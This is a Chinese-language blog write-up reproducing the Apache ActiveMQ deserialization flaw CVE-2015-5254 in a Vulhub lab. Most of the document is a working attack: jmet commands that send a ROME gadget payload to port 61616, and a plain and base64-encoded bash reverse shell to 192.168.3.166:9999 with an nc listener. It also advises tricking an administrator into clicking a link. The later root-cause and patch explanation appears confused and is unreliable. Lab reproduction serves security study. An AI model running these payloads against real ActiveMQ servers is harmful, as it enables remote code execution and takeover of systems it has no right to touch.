ActiveMQ 反序列化漏洞(CVE-2015-5254)复现及分析
mango

配置java环境

查看java版本

1
java -version

安装java8,默认安装在/usr/lib/jvm/java-8-openjdk-amd64

1
sudo apt install openjdk-8-jdk

配置环境变量

1
2
3
4
sudo vim ~/.bashrc

# 在最后一行添加
export JAVA_HOME=/usr/lib/jvm/java-8-jdk-amd64

切换jdk版本

使用update-alternatives命令进行版本更换

/usr/lib/jvm/java-8-openjdk-amd64/usr/bin/java两个路径要和自己的路径吻合

1
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/java-8-openjdk-amd64/bin/java 1070

切换jdk

1
sudo update-alternatives --config java

漏洞复现

Vulhub搭建、运行漏洞环境

1
docker compose up -d

漏洞利用过程:

  1. 使用ysoserial构造可执行命令的序列化对象
  2. 作为一个消息,发送给目标的61616端口
  3. 访问web管理页面,读取消息,触发漏洞

jmet(Java消息利用工具 https://github.com/matthiaskaiser/jmet)的原理是使用ysoserial(java反序列化利用工具 https://github.com/frohoff/ysoserial)生成payload并发送(jar内自带ysoserial),在ysoserial中的gadget中选择一个可以使用的,比如ROME。

一些易受攻击的JMS:

  • Apache ActiveMQ <–本次的受害者
  • Redhat/Apache HornetQ
  • Oracle OpenMQ
  • IBM WebSphereMQ
  • Oracle Weblogic
  • Pivotal RabbitMQ
  • IBM MessageSight
  • IIT Software SwiftMQ
  • Apache ActiveMQ Artemis
  • Apache QPID JMS
  • Apache QPID Client
  • Amazon SQS Java Messaging

下载jmet–>https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

在jar的同级目录创建文件夹

1
mkdir external
image-20240203235243276

执行

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
image-20240204002017859

此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

默认admin/admin

image-20240204002156970

可以看到多了一条消息

image-20240204002252464

点击消息触发文件创建,成功执行命令

此时进入容器docker compose exec activemq bash,可见/tmp/success已成功创建,说明漏洞利用成功:

image-20240204002458057

将命令换成反弹shell语句再利用:

使用https://ares-x.com/tools/runtime-exec生成payload

1
2
3
bash -i >& /dev/tcp/192.168.3.166/9999 0>&1
--->
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTY2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

发送pyload:

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTY2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.3.166 61616

监听9999端口:

1
nc -l -p 9999
image-20240204002939766

点击:

image-20240204003039490

反弹shell成功:

image-20240204003142794

值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

原理

入口函数

该漏洞的入口函数为 org.apache.activemq.util.JMSExceptionSupport#createSerializableException,当 ActiveMQ 接收到异常信息并尝试将其序列化时就会调用该函数。

JMSException 是 Java 消息服务(Java Message Service,JMS)中的一种异常,表示 JMS 操作出现了问题。在 ActiveMQ 中,当消息发送或接收失败时,就会抛出 JMSException 异常。

在 ActiveMQ 中,JMSExceptionSupport.createSerializableException() 方法会将 JMSException 异常对象序列化为字节数组,并包含了 cause message 内的异常和信息。具体实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static JMSException createSerializableException(Throwable cause) {
if (cause instanceof JMSException) {
return (JMSException)cause;
}
JMSException exception = new JMSException(cause.getMessage());
exception.initCause(cause);
exception.setStackTrace(cause.getStackTrace());
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(exception);
oos.close();
exception.setSerializedEx(baos.toByteArray());
} catch (IOException ioe) {
exception.printStackTrace();
}

return exception;

攻击者可以通过构造精心设计的 causemessage 字符串,注入恶意代码。当 ActiveMQ 在发送或接收消息失败时,将会调用 createSerializableException() 方法,将 JMSException 对象序列化后返回给客户端。客户端收到该序列化数据并尝试反序列化时,注入的恶意代码就会被执行,导致远程代码执行漏洞的发生。

总的来说,攻击者利用 createSerializableException() 方法中的漏洞注入恶意代码,接着将构造的序列化数据发送到 ActiveMQ服务器来触发漏洞,从而实现攻击目的。

补丁原理

ActiveMQ 反序列化漏洞的修复补丁函数是JMSExceptionSupport.createException(String message, Throwable cause),该函数会检查传入的 messagecause 是否为空,如果为空则会抛出IllegalArgumentException异常。修复版 ActiveMQ 中增加了该函数的调用以及相关的参数检查,避免了该漏洞的利用。

首先,该函数的输入参数有两个:messagecausemessage是一个字符串,用于描述异常的信息;而cause则是异常的根本原因,即导致该异常的另一个异常对象。通常,在使用异常对象时,我们会将根本原因字符串存入message中,而cause则可以是任何Throwable类型的对象。

其次,该函数的修复思路是在messagecause参数检查中增加了空指针检查。具体而言,如果messagecause为空,则会抛出IllegalArgumentException异常,阻止了攻击者构造恶意的cause字符串和message字符串进行利用。

最后,需要注意的是,该函数只是修复了漏洞的利用入口,而并不完全解决了该漏洞。因为在具有该漏洞的 ActiveMQ 版本中,仍然存在其他反序列化漏洞的利用入口。

参考:

https://blog.csdn.net/m0_37573740/article/details/131097392

https://github.com/Threekiii/Vulhub-Reproduce/blob/master/Apache%20ActiveMQ%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20CVE-2015-5254.md

由 Hexo 驱动 & 主题 Keep
访客数 访问量